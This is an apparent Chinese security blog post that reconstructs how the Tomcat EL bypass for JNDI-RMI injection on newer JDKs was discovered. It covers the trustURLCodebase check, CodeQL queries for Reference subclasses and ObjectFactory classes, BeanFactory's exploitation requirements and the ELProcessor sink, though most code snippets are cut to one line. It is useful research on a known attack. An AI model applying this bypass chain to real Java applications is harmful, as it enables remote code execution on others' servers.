上面的JNDI 注入的JDK 版本限制已经耳熟能详了,针对JNDI-RMI 的tomcat EL 绕过姿势也被经常提起,本文尝试回溯这一姿势的发现过程。
JNDI-RMI 注入
背景知识
必须了解两个重要的类
- com.sun.jndi.rmi.registry.RegistryContext: JNDI-RMI接口
- java.rmi.registry.Registry: RMI 接口
通常攻击场景下,Registry是作为RMI服务端,RegistryContext是作为攻击的client端,也就是vuln。
低版本注入过程:RegistryContext#lookup
都在RegistryContext#lookup 里面,常见的如 ctx.lookup(“rmi://xxx/Exploit”),被攻击过程如下
- registry#lookup 获取远程恶意server 绑定的Remote 类
- registry#decodeObject 调用该Remote类 的getObjectInstance 实例化该类
com.sun.jndi.rmi.registry.RegistryContext
1 | private Registry registry; |
javax.naming.spi.NamingManager#getObjectInstance
1 | public static Object |
注意此处,如果是Reference 对象,则会getObjectFactoryFromReference - getObjectInstance 进行实例化,也就是原本的JNDI-RMI利用流程。
高版本限制:RegistryContext#decodeObject
在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
实现trustURLCodebase 的逻辑在decodeObject 上
1 | private Object decodeObject(Remote var1, Name var2) throws NamingException { |
TOMCAT EL的绕过
都知道tomcat EL可以实现绕过
1 | System.setProperty("java.rmi.server.logCalls", "true"); |
思路逆向分析
知其然更要知其所以然,这种绕过方式但是如何发现的呢?
ResourceRef 的定位
从RegistryContext#decodeObject 限制逻辑中可以看到,java.naming.Reference 用不了,因为getFactoryClassLocation 过不了。
1 | public Reference(String className, String factory, String factoryLocation) { |
那么,还有哪些类满足
- 继承Reference
- getFactoryClassLocation 可以为null
尝试找继承Reference 的子类
1 | import java |
结论是在tomcat-catalina 中找到了
- org.apache.naming.ResourceRef
- org.apache.naming.LookupRef (可rmi转ldap,作用有限)
- org.apache.naming.HandlerRef
- org.apache.naming.EjbRef
- org.apache.naming.ResourceLinkRef
- org.apache.naming.ResourceEnvRef
- org.apache.naming.ServiceRef
以ResourceRef 为例
ReferenceWrapper 的定位
ResourceRef 定位到了,但是不能直接bind, 因为java.rmi.registry.Registry 只能bind Remote类
1 | public void bind(String name, Remote obj) |
如果熟悉JNDI-RMI 低版本注入,应该记得这两种方式:
- 直接bind Exploit
- 通过ReferenceWrapper(reference) 实现bind 远程目标类
1 | #1. 直接绑定存在恶意代码块的类实例 |
但是ReferenceWrapper(ResourceRef) 可以吗?
1 | public ReferenceWrapper(Reference var1) throws NamingException, RemoteException { |
ResourceRef 继承Reference,可以
BeanFactory 的定位
再回顾下javax.naming.spi.NamingManager#getObjectInstance 的过程
- ref = (Reference) refInfo;
- String f = ref.getFactoryClassName();
- factory = getObjectFactoryFromReference(ref, f);
- return factory.getObjectInstance(ref, name, nameCtx, environment);
结合ResourceRef 的构造函数以及factory属性public ResourceRef(String resourceClass, String description, String scope, String auth, boolean singleton, String factory, String factoryLocation) {
那么问题就成了:寻找可利用的Factory,需要满足
- 继承Factory
- getObjectInstance 有可利用空间找找tomcat下面符合的Factory:
1
2
3
4
5
6
7
8
9
10
11
12
13import java
class MyFactory extends ClassOrInterface{
MyFactory(){
this.getName()="ObjectFactory"
}
}
predicate isMyClass( Class m){
m.getASourceSupertype() instanceof MyFactory
}
from Class c
where isMyClass(c)
select c
- org.apache.naming.factory.BeanFactory
- org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSourceFactory
- org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
- org.apache.tomcat.jdbc.pool.DataSourceFactory
org.apache.naming.factory.BeanFactory
利用要求总结:
- 需要有无参构造函数
- 可以调用符合条件的方法,要求方法的参数为1个,类型为String
- 还可以调用set*方法,要求方法的参数为1个,类型为String
- 以上方法都要求public
1 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, |
org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSourceFactory
利用要求总结:
- 如果有本地Gadgets,可以反序列化,鸡肋
1 |
|
org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory
利用要求总结:
- 需要有无参构造函数
- 可以调用set*方法,要求方法的参数为1个,类型为String/Int/Long/Boolean/InetAddress
- 以上方法都要求public
不如BeanFactory,鸡肋
1 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { |
org.apache.tomcat.jdbc.pool.DataSourceFactory
利用要求总结:
- 如果在rmi有限制url的情况,可以转jndi-ldap进行攻击
不如BeanFactory,鸡肋
1 |
|
javax.el.ELProcessor 的定位
这个只能归结为经验吧,原生jdk里能够命令执行的sink毕竟不多。
思考
- 如果是bind触发,有没有什么不一样?
- Weblogic/jboss/Websphere 等其他web容器上呢,是否也有类似的Factory?
总结
本文首先介绍了一些已知的知识点:
- JNDI-RMI 低版本注入的逻辑
- JNDI-RMI 高版本注入的限制:decodeObject 限制了Reference 类,以及Tomcat EL 绕过的方式
在此基础上,本文尝试回溯EL 绕过方式的发现思路
- 首先寻找能够突破decodeObject 限制的Reference 子类
- 寻找能够利用的Factory
最终成功回溯出了EL 绕过方式,以及一些其他的鸡肋姿势,颇有收获。
@20220318
膜一个浅蓝师傅,在BeanFactory 的利用上找到了除EL 之外的多个sink,还有MemoryUserDatabaseFactory、BasicDataSourceFactory 等几个其他的Factory,功力深厚,膜一个。